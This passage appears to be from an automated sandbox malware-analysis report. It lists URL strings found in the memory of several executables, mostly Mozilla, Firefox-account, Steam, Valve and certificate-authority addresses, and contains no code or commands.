Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/itemsurlclassifier.features.socialtracking.blacklis
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2http://mozilla.org/#/properties/featureIds
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/brancheshttp://mozilla.org/#/properties/branches/anyOf/1http://mozil
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/count
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/countextensions.webcompat.disabled_shims.Kin
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/namespace
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnit
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnitArray
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/start
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/startextensions.webcompat.disabled_shims.Web
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/total
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/channel
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/csvImport
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/disableGreaseOnFallback
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxPriorityThreads
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreconnectEnabled
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreloadEnabled
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/endDate
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDate
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDateurlclassifier.features.fingerprinting.whitelistTabl
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureIds/items
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOut
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOuturlclassifier.features.cryptomining.annotate.
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/forceWaitHttpsRRhttp://mozilla.org/#/properties/h3GreaseEnabled
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/greasePaddingSize
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/h3Enabled
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/id
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/insecureFallbackCould
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isBestMatchExperiment
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isEnrollmentPaused
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isRollout
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties/additionalProperties
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0urlclassifier.features.fingerprinting.blacklist
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1browser.safebrowsing.features.fingerprinting.an
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoClientVariants
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEndpointURL
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/migrateExtensions
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/networkPredictorRollout
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/priority
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/slug
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/slugextensions.webcompat.disabled_shims.Sp
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketFeatureGate
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketShowLessFrequentlyCap
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/preconnect
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedDuration
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollment
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollmentbrowser.safebrowsing.features.cryptomining.annotat
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabled
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabled
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabledhttp://mozilla.org/#/properties/qui
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestEnabled
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabled
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabled
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredIndex
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariation
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsEnabled
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenario
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScoreMap
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShowOnboardingDialogAfterNRestarts
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredEnabled
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/referenceBranch
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/referenceBranchhttp://mozilla.org/#/properties/localizations
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/schemaVersion
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/schemaVersionhttp://mozilla.org/#/properties/appNamehttp://mozilla.o
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showExposureResults
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showImportAll
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showPreferencesEntrypoint
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/slug
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/slughttp://mozilla.org/#/properties/outcomeshttp://mozilla.org/#/pro
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/startDate
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/tlsEnabled
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/tlsGreaseProb
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/useNewWizard
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingDescription
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingName
Source: firefox.exe, 0000001B.00000002.3300643832.0000017083E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3297648118.0000017083A4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3328273548.0000017085378000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3183980208.0000017085961000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3098920941.0000017083CD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3151203529.0000017085845000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3301585545.0000017083F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3296944839.0000017083903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3101001598.0000017080DCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3192896386.00000170859F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3321587430.0000017084F5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3133141618.000001708BDAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3098827298.0000017083CB1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3204571257.00000170859D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3221206285.000001708BF69000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3304609166.000001708440C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3297648118.0000017083A22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3297648118.0000017083AC6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3293266018.000001708370C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3099368544.0000017083CCE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3099207221.0000017083CCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.2182444085.0000000005776000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3092399060.0000000005E37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3300643832.0000017083EE3000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3201383753.0000000005A6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2182444085.0000000005776000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3092399060.0000000005E37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3300643832.0000017083EE3000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3201383753.0000000005A6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901189210.0000000001137000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901189210.0000000001137000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901189210.0000000001137000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updateBITS_IDLE_NO_PROGRESS_TIMEOUT_SECSBITS_ACTIVE_NO_PROGRESS_TIME
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3304609166.0000017084499000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 0000001B.00000002.3303896282.0000017084364000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3297648118.0000017083A4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3300092608.0000017083D06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3328273548.0000017085378000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.00000170831A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3303238080.0000017084239000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3271364302.0000017080000000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001B.00000002.3303896282.00000170843A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3308589953.0000017084A41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3298702178.0000017083B62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3140375885.000001708537E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3300092608.0000017083D8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3296944839.00000170839BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3300092608.0000017083DA4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3302672534.00000170841C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3277613041.0000017081195000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708310D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001B.00000003.3142865401.0000017084B64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/browse
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulprivacy.trackingprotection.fingerprinti
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: file.exe, 00000000.00000003.2182444085.0000000005776000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3092399060.0000000005E37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3133141618.000001708BDB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3300643832.0000017083EE3000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3201383753.0000000005A6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2182444085.0000000005776000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3092399060.0000000005E37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3133141618.000001708BDB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3300643832.0000017083EE3000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3201383753.0000000005A6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2156705356.000000000577A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156839370.000000000577A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156632127.000000000577C000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3048821838.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3049132775.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3048636606.0000000005E2D000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3153468407.00000000059AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.caCACHE_EXPIRATION_TIME_PREF_NAME
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3280899223.0000017081FC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3255924567.000001E2F2600000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001B.00000003.3129585316.000001708BE5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3271364302.0000017080000000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001B.00000002.3281310236.00000170831E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.00000170831F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.0000017083117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
